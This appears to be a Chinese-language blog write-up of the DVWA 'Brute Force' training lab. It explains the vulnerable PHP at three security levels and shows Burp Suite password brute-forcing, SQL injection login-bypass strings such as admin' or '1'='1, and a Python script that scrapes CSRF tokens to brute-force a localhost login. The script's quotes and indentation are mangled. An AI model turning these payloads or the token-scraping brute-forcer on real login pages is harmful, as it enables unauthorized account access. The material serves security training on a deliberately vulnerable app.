网络攻击与防御之Brute Force

参考网站:
https://www.freebuf.com/articles/web/116437.html
(一)Brute Force
Low
Low级别的代码服务器只是验证了参数Login是否被设置(isset函数在php中用来检测变量是否设置,该函数返回的是布尔类型的值,即true/false),没有任何的防爆破机制,且对参数username、password没有做任何过滤,存在明显的sql注入漏洞。
漏洞利用:
方法一:爆破利用burpsuite完成。
1. 抓包。
在这里插入图片描述
2. ctrl+I将包复制到intruder模块,因为要对password参数进行爆破,所以在password参数的内容两边加$。
在这里插入图片描述
3. 选中Payloads,载入字典,点击Start attack进行爆破。
在这里插入图片描述
4. 尝试在爆破结果中找到正确的密码,可以看到password的响应包长度(length)与其他响应包不一样,可推测password为正确密码,手工验证登陆成功。
在这里插入图片描述
在这里插入图片描述
方法二手工sql注入
1. Username: admin’ or ‘1’='1
Password:(空)
在这里插入图片描述
注入成功。
2. Username :admin’#
Password:(空)
在这里插入图片描述

注入成功。
Medium
相比Low级别的代码,Medium级别的代码主要增加了mysql_real_escape_string函数,这个函数会对字符串中的特殊符号(x00,n,r,,’,”,x1a)进行转义,基本上能够抵御sql注入攻击,说基本上是因为查到说 MySQL5.5.37以下版本如果设置编码为GBK,能够构造编码绕过mysql_real_escape_string 对单引号的转义(因实验环境的MySQL版本较新,所以并未做相应验证);同时,$pass做了MD5校验,杜绝了通过参数password进行sql注入的可能性。但是,依然没有加入有效的防爆破机制(sleep(2)算不上)。
漏洞利用:
虽然sql注入不再有效,但依然可以使用Burpsuite进行爆破,与Low级别的爆破方法基本一样,不赘述。
High
High级别的代码加入了Token,可以抵御CSRF攻击,同时也增加了爆破的难度,通过抓包,可以看到,登录验证时提交了四个参数:username、password、Login以及user_token。
在这里插入图片描述
每次服务器返回的登陆页面中都会包含一个随机的user_token的值,用户每次登录时都要将user_token一起提交。服务器收到请求后,会优先做token的检查,再进行sql查询。

漏洞利用:

  1. python写脚本,代码如下。

-- coding:utf-8 --

import re
import requests

header = {‘Host’: ‘localhost’,
‘Upgrade-Insecure-Requests’: ‘1’,
‘User-Agent’: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) ’
‘AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36’,
‘Accept’: ‘text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8’,
‘Referer’: ‘http://localhost:8080/dvwa/vulnerabilities/brute/’,
‘Accept-Encoding’: ‘gzip, deflate’,
‘Accept-Language’: ‘zh-CN,zh;q=0.9’,
‘Cookie’: ‘security=high; PHPSESSID=ov604p8hhtovo2holl5mn77f67’,
‘Connection’: ‘close’}

file = open(‘D:\pyt\test.txt’, ‘r’)
url = ‘http://localhost:8080/dvwa/vulnerabilities/brute/
dvwa_session = requests.Session()
for line in file:
resp = dvwa_session.get(url, headers=header)
# 使用正则表达式 获取提交 token
token = re.search(r’[a-z0-9]{32}’, resp.text).group()
# print 'user_token : ', token
password = line.rstrip()
url2 = ‘http://localhost:8080/dvwa/vulnerabilities/brute/index.php?username=admin&password=’ + password +
‘&Login=Login&user_token=’ + str(token)
# print url
resp = dvwa_session.get(url2, headers=header)
print (“密码:%s 页面长度:%s” % (password.strip(), len(resp.text)))
file.close()
2. 备用密码
在这里插入图片描述
3. cmd执行,真正密码的页面长度与其他的不一样。
在这里插入图片描述
成功!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值